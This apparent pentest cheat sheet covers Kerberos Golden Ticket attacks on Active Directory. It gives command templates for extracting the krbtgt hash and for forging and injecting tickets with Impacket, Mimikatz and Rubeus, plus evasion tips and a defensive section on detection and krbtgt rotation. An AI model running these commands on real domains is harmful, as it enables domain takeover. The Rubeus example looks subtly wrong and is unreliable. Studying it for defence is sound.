Golden Ticket Ad

Golden Ticket Attack Methodology

A Golden Ticket attack involves creating a legitimate-looking Ticket Granting Ticket (TGT) that impersonates any user by using the NTLM hash of the Active Directory krbtgt account. This technique enables access to any service or machine within the domain as the impersonated user.

Key Concepts

• krbtgt account credentials are never automatically updated - once compromised, the hash remains valid indefinitely
• Golden Tickets are forged offline - no interaction with domain controllers required
• Requires domain admin privileges or equivalent access to obtain the krbtgt hash
• AES encryption keys (AES128/AES256) are strongly recommended over RC4/NTLM for operational security

Acquiring the krbtgt Hash

To create a Golden Ticket, you first need the NTLM hash of the krbtgt account. Common methods:

1. LSASS Process Extraction

Extract from the Local Security Authority Subsystem Service on a Domain Controller.

2. NTDS.dit File

Extract from the NT Directory Services database on any Domain Controller.

3. DCsync Attack

Use tools like:

• Mimikatz lsadump::dcsync module
• Impacket secretsdump.py script

Creating Golden Tickets

Using Impacket (Linux)

# Generate the ticket
python ticketer.py -nthash <krbtgt_hash> \
  -domain-sid <domain_sid> \
  -domain <domain_name> \
  <username>

# Export the ticket
export KRB5CCNAME=/path/to/<username>.ccache

# Use the ticket with psexec
python psexec.py <domain>/<username>@<target> -k -no-pass

Using Mimikatz (Windows)

# Basic Golden Ticket with RC4
kerberos::golden /User:<username> \
  /domain:<domain> \
  /sid:<domain_sid> \
  /krbtgt:<krbtgt_hash> \
  /id:500 \
  /groups:512 \
  /startoffset:0 \
  /endin:600 \
  /renewmax:10080 \
  /ptt

# Using AES256 (recommended for OpSec)
kerberos::golden /user:<username> \
  /domain:<domain> \
  /sid:<domain_sid> \
  /aes256:<aes256_key> \
  /ticket:<output_file>.kirbi

# Load ticket into memory
kerberos::ptt <ticket_file>.kirbi

# List tickets in memory
klist

Using Rubeus (Windows)

# Generate Golden Ticket with LDAP lookup
.\Rubeus.exe asktgt /user:<username> \
  /rc4:<krbtgt_hash> \
  /domain:<domain> \
  /sid:<domain_sid> \
  /ptt \
  /ldap \
  /printcmd

# Load existing ticket
.\Rubeus.exe ptt /ticket:<ticket_file>.kirbi

# List tickets
klist

Parameter Reference

Post-Exploitation

Once the Golden Ticket is injected into memory:

1. Access shared files - C$ administrative shares
2. Execute services - Create and run services
3. WMI execution - Use WMI for remote code execution
4. PsExec - Use psexec or wmiexec for shells

Note: WinRM typically won't work with Golden Tickets.

Detection and Evasion

Common Detection Methods

1. Kerberos Traffic Inspection

   • Default Mimikatz tickets are valid for 10 years - highly anomalous
   • Look for unusual ticket lifetimes in Kerberos traffic

2. Event Log Correlation

   • Event 4769 (TGS request) without prior Event 4768 (TGT request)
   • TGT lifetime is NOT logged in 4769 events
   • Correlate TGS requests that lack corresponding TGT issuance

3. Sensitive Account Monitoring

   • Alert on 4769 events for privileged accounts (Administrator, krbtgt)

Evasion Techniques

Control Ticket Lifetime:

# Check domain Kerberos policy
Get-DomainPolicy | select -expand KerberosPolicy

# Use realistic lifetimes in ticket creation
/startoffset:0 /endin:600 /renewmax:10080

Diamond Tickets: For advanced evasion, consider Diamond Tickets which address the 4769/4768 correlation issue.

Mitigation Strategies

Monitoring

# Monitor account logons
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4624} -MaxEvents 10

# Monitor admin logons
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 10 | Format-List

# Alert on TGS requests for sensitive accounts
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} | 
  Where-Object {$_.Message -match 'Administrator|krbtgt'}

Defensive Measures

1. Regularly rotate krbtgt password - Requires twice (to invalidate existing tickets)
2. Enable Kerberos pre-authentication
3. Monitor for 4769 without 4768 patterns
4. Implement Kerberos ticket lifetime policies
5. Use AES encryption - Avoid RC4/NTLM where possible
6. Alert on privileged account TGS requests

References

• How to Attack Kerberos - Tarlogic
• Kerberos Golden Tickets - IREd Team

Important Notes

• Authorization Required: Only use these techniques in authorized penetration testing engagements
• OpSec Considerations: AES encryption is preferred over RC4 for operational security
• Detection Risk: Golden Tickets are detectable with proper monitoring
• krbtgt Rotation: If compromised, rotate krbtgt password twice to invalidate all Golden Tickets